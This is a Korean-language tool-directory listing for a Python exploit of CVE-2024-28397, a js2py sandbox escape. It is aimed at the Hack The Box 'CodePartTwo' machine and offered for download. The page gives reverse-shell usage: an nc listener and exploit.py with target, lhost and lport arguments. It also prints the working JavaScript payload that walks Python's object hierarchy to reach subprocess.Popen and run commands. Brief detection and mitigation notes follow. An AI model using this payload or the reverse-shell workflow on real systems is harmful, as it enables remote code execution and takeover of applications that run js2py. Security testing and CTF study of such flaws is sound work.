Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/naclapor/cve-2024-28397
Vulnerability AnalysisExploitationCTFPenetration TestingLearning & EducationPayload Development
GitHubnaclapor/cve-2024-28397

CVE-2024-28397

이 저장소는 Hack The Box(HTB)의 "CodePartTwo" 머신에서 사용하기 위한 CVE-2024-28397용 python 익스플로잇 코드를 포함하고 있습니다.

저장소 보기
12121년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-28397 js2py 샌드박스 탈출 익스플로잇 - (CodePartTwo - HTB)

CVE-2024-28397을 위한 Python 익스플로잇 코드로, js2py <= 0.74에서 샌드박스 탈출 및 원격 코드 실행을 허용하는 치명적인 취약점입니다.

🚨 취약점 세부 정보

  • CVE ID: CVE-2024-28397
  • 영향받는 소프트웨어: js2py <= 0.74
  • 심각도: 치명적 (CVSS 9.8)
  • 유형: 샌드박스 탈출 / 원격 코드 실행
  • 발견 날짜: 2024년 2월

설명

js2py는 Python 환경 내에서 JavaScript 코드를 평가하기 위한 널리 사용되는 Python 라이브러리입니다. 이 취약점을 통해 공격자는 js2py.disable_pyimport()가 활성화된 경우에도 js2py 샌드박스 환경을 탈출하고 임의의 Python/시스템 명령을 실행할 수 있습니다.

이 익스플로잇은 JavaScript를 통한 Python의 객체 내부 조사(introspection) 기능을 활용하여 subprocess.Popen 클래스에 접근하고 시스템 명령을 실행합니다.

🎯 영향받는 애플리케이션

  • JavaScript 평가에 js2py를 사용하는 웹 애플리케이션
  • 코드 실행 플랫폼 (온라인 코드 편집기 등)
  • JavaScript를 파싱하는 웹 스크레이퍼
  • js2py를 통해 신뢰할 수 없는 JavaScript를 처리하는 모든 애플리케이션

🚀 사용법

사전 요구 사항

root@kitploit:~
pip install requests

기본 사용법

root@kitploit:~
# netcat 리스너 시작
nc -lnvp 4444

# 익스플로잇 실행
python3 exploit.py --target http://target.com:8000/run_code --lhost 10.10.14.100 --lport 4444

명령줄 옵션

root@kitploit:~
--target    대상 URL 엔드포인트 (필수)
--lhost     리버스 셸용 로컬 IP (필수)
--lport     리버스 셸용 로컬 포트 (기본값: 4444)

예시

root@kitploit:~
python3 exploit.py --target http://10.10.11.82:8000/run_code --lhost 10.10.14.100

🔧 작동 원리

  1. 페이로드 생성: base64로 인코딩된 리버스 셸 명령을 생성합니다
  2. 샌드박스 탈출: JavaScript를 사용하여 __class__ 및 __base__를 통해 Python의 객체 계층 구조에 접근합니다
  3. 프로세스 실행: 내부 조사를 통해 subprocess.Popen을 찾습니다
  4. 명령 실행: Popen을 사용하여 리버스 셸 명령을 실행합니다
  5. 셸 수립: 공격자의 머신으로 다시 연결합니다

기술적 세부 사항

이 익스플로잇은 다음 방식으로 작동합니다:

  • Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__에 접근
  • __subclasses__()를 사용하여 Python의 객체 계층 구조를 탐색
  • subprocess.Popen 클래스 찾기
  • 리버스 셸을 실행할 새 프로세스 생성

📝 익스플로잇 코드 구조

root@kitploit:~
// Python 객체 계층 구조에 접근
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;
let obj = a(a(a, "__class__"), "__base__");

// subprocess.Popen 클래스 찾기
function findpopen(o) {
    // 하위 클래스를 통한 재귀 검색
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i];
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item;
        }
    }
}

// 명령 실행
let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();

🛡️ 탐지

다음을 포함하는 JavaScript 코드를 찾으세요:

  • __class__ 또는 ___class___ 속성 접근
  • __subclasses__() 메서드 호출
  • subprocess 또는 Popen 참조
  • printf 및 base64 -d가 포함된 base64 인코딩 페이로드

🔒 완화 조치

  1. js2py 업데이트: 패치된 버전(> 0.74)으로 업그레이드
  2. 입력 검증: 실행 전에 JavaScript 코드를 정화(sanitize)
  3. 샌드박싱: 추가 컨테이너화(Docker, chroot) 사용
  4. 코드 검토: JavaScript 실행 컨텍스트 감사
  5. WAF 규칙: 의심스러운 JavaScript 패턴 차단

⚠️ 법적 고지

이 도구는 공인된 침투 테스트 및 교육 목적으로만 사용됩니다. 사용자는 관련 법률 및 규정을 준수할 책임이 있습니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다.

📚 참고 자료

  • 원본 CVE 보고서
  • js2py GitHub 저장소
  • CVE-2024-28397 세부 정보

📄 라이선스

이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다 - 자세한 내용은 LICENSE 파일을 참조하세요.

도구 다운로드